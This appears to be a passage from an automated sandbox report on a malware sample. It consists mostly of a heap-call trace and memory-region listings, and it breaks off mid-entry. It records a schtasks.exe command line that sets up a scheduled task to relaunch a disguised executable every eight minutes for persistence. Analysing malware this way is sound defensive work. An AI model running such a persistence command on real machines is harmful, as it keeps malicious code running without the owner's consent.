[0161.198] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41ba50) returned 0x18 [0161.199] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41ba50 | out: hHeap=0x400000) returned 1 [0161.199] GetProcessHeap () returned 0x400000 [0161.199] GetProcessHeap () returned 0x400000 [0161.199] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x415c60) returned 1 [0161.199] GetProcessHeap () returned 0x400000 [0161.199] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x415c60) returned 0x20 [0161.199] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x415c60 | out: hHeap=0x400000) returned 1 [0161.199] GetProcessHeap () returned 0x400000 [0161.199] GetProcessHeap () returned 0x400000 [0161.199] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41d280) returned 1 [0161.199] GetProcessHeap () returned 0x400000 [0161.199] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41d280) returned 0x200 [0161.199] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41d280 | out: hHeap=0x400000) returned 1 [0161.199] GetProcessHeap () returned 0x400000 [0161.199] GetProcessHeap () returned 0x400000 [0161.199] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41ba90) returned 1 [0161.200] GetProcessHeap () returned 0x400000 [0161.200] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41ba90) returned 0x18 [0161.200] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41ba90 | out: hHeap=0x400000) returned 1 [0161.200] GetProcessHeap () returned 0x400000 [0161.200] GetProcessHeap () returned 0x400000 [0161.200] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x415bd0) returned 1 [0161.200] GetProcessHeap () returned 0x400000 [0161.200] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x415bd0) returned 0x20 [0161.200] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x415bd0 | out: hHeap=0x400000) returned 1 [0161.200] GetProcessHeap () returned 0x400000 [0161.200] GetProcessHeap () returned 0x400000 [0161.200] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41c200) returned 1 [0161.200] GetProcessHeap () returned 0x400000 [0161.200] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41c200) returned 0x14 [0161.200] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41c200 | out: hHeap=0x400000) returned 1 [0161.200] GetProcessHeap () returned 0x400000 [0161.200] GetProcessHeap () returned 0x400000 [0161.200] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41c1e0) returned 1 [0161.200] GetProcessHeap () returned 0x400000 [0161.200] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41c1e0) returned 0x18 [0161.200] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41c1e0 | out: hHeap=0x400000) returned 1 [0161.201] GetProcessHeap () returned 0x400000 [0161.201] GetProcessHeap () returned 0x400000 [0161.201] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x415b10) returned 1 [0161.201] GetProcessHeap () returned 0x400000 [0161.201] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x415b10) returned 0x20 [0161.201] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x415b10 | out: hHeap=0x400000) returned 1 [0161.201] GetProcessHeap () returned 0x400000 [0161.201] GetProcessHeap () returned 0x400000 [0161.201] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41c220) returned 1 [0161.201] GetProcessHeap () returned 0x400000 [0161.201] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41c220) returned 0x16 [0161.201] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41c220 | out: hHeap=0x400000) returned 1 [0161.201] GetProcessHeap () returned 0x400000 [0161.201] GetProcessHeap () returned 0x400000 [0161.201] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41c1a0) returned 1 [0161.201] GetProcessHeap () returned 0x400000 [0161.201] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41c1a0) returned 0x18 [0161.201] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41c1a0 | out: hHeap=0x400000) returned 1 [0161.201] GetProcessHeap () returned 0x400000 [0161.201] GetProcessHeap () returned 0x400000 [0161.201] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x415ae0) returned 1 [0161.201] GetProcessHeap () returned 0x400000 [0161.202] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x415ae0) returned 0x20 [0161.202] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x415ae0 | out: hHeap=0x400000) returned 1 [0161.202] GetProcessHeap () returned 0x400000 [0161.202] GetProcessHeap () returned 0x400000 [0161.202] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41b9d0) returned 1 [0161.202] GetProcessHeap () returned 0x400000 [0161.202] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41b9d0) returned 0x2 [0161.202] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41b9d0 | out: hHeap=0x400000) returned 1 [0161.202] GetProcessHeap () returned 0x400000 [0161.202] GetProcessHeap () returned 0x400000 [0161.202] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x415930) returned 1 [0161.202] GetProcessHeap () returned 0x400000 [0161.202] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x415930) returned 0x20 [0161.203] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x415930 | out: hHeap=0x400000) returned 1 [0161.203] GetProcessHeap () returned 0x400000 [0161.203] GetProcessHeap () returned 0x400000 [0161.203] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x415960) returned 1 [0161.203] GetProcessHeap () returned 0x400000 [0161.203] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x415960) returned 0x20 [0161.203] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x415960 | out: hHeap=0x400000) returned 1 [0161.203] GetProcessHeap () returned 0x400000 [0161.203] GetProcessHeap () returned 0x400000 [0161.203] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x415990) returned 1 [0161.203] GetProcessHeap () returned 0x400000 [0161.203] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x415990) returned 0x20 [0161.203] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x415990 | out: hHeap=0x400000) returned 1 [0161.203] GetProcessHeap () returned 0x400000 [0161.203] GetProcessHeap () returned 0x400000 [0161.203] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x4159c0) returned 1 [0161.203] GetProcessHeap () returned 0x400000 [0161.203] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x4159c0) returned 0x20 [0161.204] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4159c0 | out: hHeap=0x400000) returned 1 [0161.204] GetProcessHeap () returned 0x400000 [0161.204] GetProcessHeap () returned 0x400000 [0161.204] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41cb40) returned 1 [0161.204] GetProcessHeap () returned 0x400000 [0161.204] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41cb40) returned 0x20 [0161.204] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41cb40 | out: hHeap=0x400000) returned 1 [0161.204] GetProcessHeap () returned 0x400000 [0161.204] GetProcessHeap () returned 0x400000 [0161.204] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41d660) returned 1 [0161.204] GetProcessHeap () returned 0x400000 [0161.204] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41d660) returned 0xa [0161.204] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41d660 | out: hHeap=0x400000) returned 1 [0161.204] GetProcessHeap () returned 0x400000 [0161.204] GetProcessHeap () returned 0x400000 [0161.204] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41cb70) returned 1 [0161.204] GetProcessHeap () returned 0x400000 [0161.204] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41cb70) returned 0x20 [0161.205] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41cb70 | out: hHeap=0x400000) returned 1 [0161.205] GetProcessHeap () returned 0x400000 [0161.205] GetProcessHeap () returned 0x400000 [0161.205] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x417a50) returned 1 [0161.205] GetProcessHeap () returned 0x400000 [0161.205] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x417a50) returned 0x30 [0161.205] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x417a50 | out: hHeap=0x400000) returned 1 [0161.205] GetProcessHeap () returned 0x400000 [0161.205] GetProcessHeap () returned 0x400000 [0161.205] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41cba0) returned 1 [0161.205] GetProcessHeap () returned 0x400000 [0161.205] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41cba0) returned 0x20 [0161.205] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41cba0 | out: hHeap=0x400000) returned 1 [0161.205] GetProcessHeap () returned 0x400000 [0161.205] GetProcessHeap () returned 0x400000 [0161.206] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x417a90) returned 1 [0161.206] GetProcessHeap () returned 0x400000 [0161.206] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x417a90) returned 0x30 [0161.206] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x417a90 | out: hHeap=0x400000) returned 1 [0161.206] GetProcessHeap () returned 0x400000 [0161.206] GetProcessHeap () returned 0x400000 [0161.206] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41cd80) returned 1 [0161.206] GetProcessHeap () returned 0x400000 [0161.206] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41cd80) returned 0x20 [0161.206] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41cd80 | out: hHeap=0x400000) returned 1 [0161.206] GetProcessHeap () returned 0x400000 [0161.206] GetProcessHeap () returned 0x400000 [0161.206] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41d580) returned 1 [0161.206] GetProcessHeap () returned 0x400000 [0161.206] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41d580) returned 0x10 [0161.206] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41d580 | out: hHeap=0x400000) returned 1 [0161.206] GetProcessHeap () returned 0x400000 [0161.206] GetProcessHeap () returned 0x400000 [0161.206] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41cd50) returned 1 [0161.206] GetProcessHeap () returned 0x400000 [0161.206] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41cd50) returned 0x20 [0161.207] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41cd50 | out: hHeap=0x400000) returned 1 [0161.207] GetProcessHeap () returned 0x400000 [0161.207] GetProcessHeap () returned 0x400000 [0161.207] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41d5a0) returned 1 [0161.207] GetProcessHeap () returned 0x400000 [0161.207] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41d5a0) returned 0x10 [0161.207] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41d5a0 | out: hHeap=0x400000) returned 1 [0161.207] GetProcessHeap () returned 0x400000 [0161.207] GetProcessHeap () returned 0x400000 [0161.207] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41cd20) returned 1 [0161.207] GetProcessHeap () returned 0x400000 [0161.207] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41cd20) returned 0x20 [0161.207] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41cd20 | out: hHeap=0x400000) returned 1 [0161.207] GetProcessHeap () returned 0x400000 [0161.207] GetProcessHeap () returned 0x400000 [0161.207] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41d5c0) returned 1 [0161.207] GetProcessHeap () returned 0x400000 [0161.208] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41d5c0) returned 0xe [0161.208] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41d5c0 | out: hHeap=0x400000) returned 1 [0161.208] GetProcessHeap () returned 0x400000 [0161.208] GetProcessHeap () returned 0x400000 [0161.208] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41ccf0) returned 1 [0161.208] GetProcessHeap () returned 0x400000 [0161.208] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41ccf0) returned 0x20 [0161.208] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41ccf0 | out: hHeap=0x400000) returned 1 [0161.208] GetProcessHeap () returned 0x400000 [0161.208] GetProcessHeap () returned 0x400000 [0161.208] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41d5e0) returned 1 [0161.208] GetProcessHeap () returned 0x400000 [0161.208] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41d5e0) returned 0x16 [0161.208] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41d5e0 | out: hHeap=0x400000) returned 1 [0161.208] GetProcessHeap () returned 0x400000 [0161.208] GetProcessHeap () returned 0x400000 [0161.208] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41ccc0) returned 1 [0161.208] GetProcessHeap () returned 0x400000 [0161.208] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41ccc0) returned 0x20 [0161.209] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41ccc0 | out: hHeap=0x400000) returned 1 [0161.209] GetProcessHeap () returned 0x400000 [0161.209] GetProcessHeap () returned 0x400000 [0161.209] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41d600) returned 1 [0161.209] GetProcessHeap () returned 0x400000 [0161.209] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41d600) returned 0x16 [0161.209] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41d600 | out: hHeap=0x400000) returned 1 [0161.209] GetProcessHeap () returned 0x400000 [0161.209] GetProcessHeap () returned 0x400000 [0161.209] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41cc90) returned 1 [0161.209] GetProcessHeap () returned 0x400000 [0161.209] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41cc90) returned 0x20 [0161.209] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41cc90 | out: hHeap=0x400000) returned 1 [0161.209] GetProcessHeap () returned 0x400000 [0161.209] GetProcessHeap () returned 0x400000 [0161.209] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x439a40) returned 1 [0161.209] GetProcessHeap () returned 0x400000 [0161.209] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x439a40) returned 0x82 [0161.210] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x439a40 | out: hHeap=0x400000) returned 1 [0161.210] GetProcessHeap () returned 0x400000 [0161.210] GetProcessHeap () returned 0x400000 [0161.210] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41cc60) returned 1 [0161.210] GetProcessHeap () returned 0x400000 [0161.210] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41cc60) returned 0x20 [0161.210] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41cc60 | out: hHeap=0x400000) returned 1 [0161.210] GetProcessHeap () returned 0x400000 [0161.210] GetProcessHeap () returned 0x400000 [0161.210] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41d640) returned 1 [0161.210] GetProcessHeap () returned 0x400000 [0161.210] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41d640) returned 0xe [0161.210] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41d640 | out: hHeap=0x400000) returned 1 [0161.210] GetProcessHeap () returned 0x400000 [0161.210] GetProcessHeap () returned 0x400000 [0161.210] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41cc30) returned 1 [0161.210] GetProcessHeap () returned 0x400000 [0161.210] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41cc30) returned 0x20 [0161.211] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41cc30 | out: hHeap=0x400000) returned 1 [0161.211] GetProcessHeap () returned 0x400000 [0161.211] GetProcessHeap () returned 0x400000 [0161.211] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41b9f0) returned 1 [0161.211] GetProcessHeap () returned 0x400000 [0161.211] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41b9f0) returned 0x18 [0161.211] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41b9f0 | out: hHeap=0x400000) returned 1 [0161.211] GetProcessHeap () returned 0x400000 [0161.211] GetProcessHeap () returned 0x400000 [0161.211] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x4159f0) returned 1 [0161.211] GetProcessHeap () returned 0x400000 [0161.211] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x4159f0) returned 0x20 [0161.211] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x4159f0 | out: hHeap=0x400000) returned 1 [0161.211] GetProcessHeap () returned 0x400000 [0161.211] GetProcessHeap () returned 0x400000 [0161.211] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x415a20) returned 1 [0161.211] GetProcessHeap () returned 0x400000 [0161.211] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x415a20) returned 0x20 [0161.212] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x415a20 | out: hHeap=0x400000) returned 1 [0161.212] GetProcessHeap () returned 0x400000 [0161.212] GetProcessHeap () returned 0x400000 [0161.212] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x415a50) returned 1 [0161.212] GetProcessHeap () returned 0x400000 [0161.212] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x415a50) returned 0x20 [0161.212] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x415a50 | out: hHeap=0x400000) returned 1 [0161.212] GetProcessHeap () returned 0x400000 [0161.212] GetProcessHeap () returned 0x400000 [0161.212] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x415a80) returned 1 [0161.212] GetProcessHeap () returned 0x400000 [0161.212] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x415a80) returned 0x20 [0161.213] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x415a80 | out: hHeap=0x400000) returned 1 [0161.213] GetProcessHeap () returned 0x400000 [0161.213] GetProcessHeap () returned 0x400000 [0161.213] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41ba10) returned 1 [0161.213] GetProcessHeap () returned 0x400000 [0161.213] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41ba10) returned 0x18 [0161.213] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41ba10 | out: hHeap=0x400000) returned 1 [0161.213] GetProcessHeap () returned 0x400000 [0161.213] GetProcessHeap () returned 0x400000 [0161.213] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x415ab0) returned 1 [0161.213] GetProcessHeap () returned 0x400000 [0161.213] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x415ab0) returned 0x20 [0161.213] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x415ab0 | out: hHeap=0x400000) returned 1 [0161.213] GetProcessHeap () returned 0x400000 [0161.213] GetProcessHeap () returned 0x400000 [0161.213] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x415b40) returned 1 [0161.213] GetProcessHeap () returned 0x400000 [0161.213] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x415b40) returned 0x20 [0161.213] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x415b40 | out: hHeap=0x400000) returned 1 [0161.213] GetProcessHeap () returned 0x400000 [0161.214] GetProcessHeap () returned 0x400000 [0161.214] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x415ba0) returned 1 [0161.214] GetProcessHeap () returned 0x400000 [0161.214] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x415ba0) returned 0x20 [0161.214] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x415ba0 | out: hHeap=0x400000) returned 1 [0161.214] GetProcessHeap () returned 0x400000 [0161.214] GetProcessHeap () returned 0x400000 [0161.214] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x415c00) returned 1 [0161.214] GetProcessHeap () returned 0x400000 [0161.214] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x415c00) returned 0x20 [0161.214] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x415c00 | out: hHeap=0x400000) returned 1 [0161.214] GetProcessHeap () returned 0x400000 [0161.214] GetProcessHeap () returned 0x400000 [0161.214] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x415c30) returned 1 [0161.214] GetProcessHeap () returned 0x400000 [0161.214] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x415c30) returned 0x20 [0161.215] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x415c30 | out: hHeap=0x400000) returned 1 [0161.215] GetProcessHeap () returned 0x400000 [0161.215] GetProcessHeap () returned 0x400000 [0161.215] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41ba30) returned 1 [0161.215] GetProcessHeap () returned 0x400000 [0161.215] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41ba30) returned 0x18 [0161.215] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41ba30 | out: hHeap=0x400000) returned 1 [0161.215] GetProcessHeap () returned 0x400000 [0161.215] GetProcessHeap () returned 0x400000 [0161.215] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x415b70) returned 1 [0161.215] GetProcessHeap () returned 0x400000 [0161.215] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x415b70) returned 0x20 [0161.215] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x415b70 | out: hHeap=0x400000) returned 1 [0161.215] GetProcessHeap () returned 0x400000 [0161.215] GetProcessHeap () returned 0x400000 [0161.215] HeapValidate (hHeap=0x400000, dwFlags=0x0, lpMem=0x41b9b0) returned 1 [0161.215] GetProcessHeap () returned 0x400000 [0161.215] RtlSizeHeap (HeapHandle=0x400000, Flags=0x0, MemoryPointer=0x41b9b0) returned 0x18 [0161.215] HeapFree (in: hHeap=0x400000, dwFlags=0x0, lpMem=0x41b9b0 | out: hHeap=0x400000) returned 1 [0161.215] exit (_Code=0) Thread: id = 211 os_tid = 0x904 Process: id = "60" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x40f39000" os_pid = "0x908" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xb84" cmd_line = "schtasks.exe /create /tn \"yardadultbehindy\" /sc MINUTE /mo 8 /tr \"'C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f52a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4529 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4530 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4531 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4532 start_va = 0x200000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4533 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4534 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4535 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4536 start_va = 0xff450000 end_va = 0xff497fff monitored = 1 entry_point = 0xff47966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 4537 start_va = 0x7feff040000 end_va = 0x7feff040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4538 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4539 start_va = 0x7fffffdb000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 4540 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4541 start_va = 0x280000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 4542 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4543 start_va = 0x7fefcd20000 end_va = 0x7fefcd8bfff monitored = 0 entry_point = 0x7fefcd22780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4544 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4545 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4546 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4547 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4548 start_va = 0x7fefec70000 end_va = 0x7fefed0efff monitored = 0 entry_point = 0x7fefec725a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4549 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4550 start_va = 0x7fefd420000 end_va = 0x7fefd486fff monitored = 0 entry_point = 0x7fefd42b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4551 start_va = 0x7fefeb60000 end_va = 0x7fefeb6dfff monitored = 0 entry_point = 0x7fefeb61080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4552 start_va 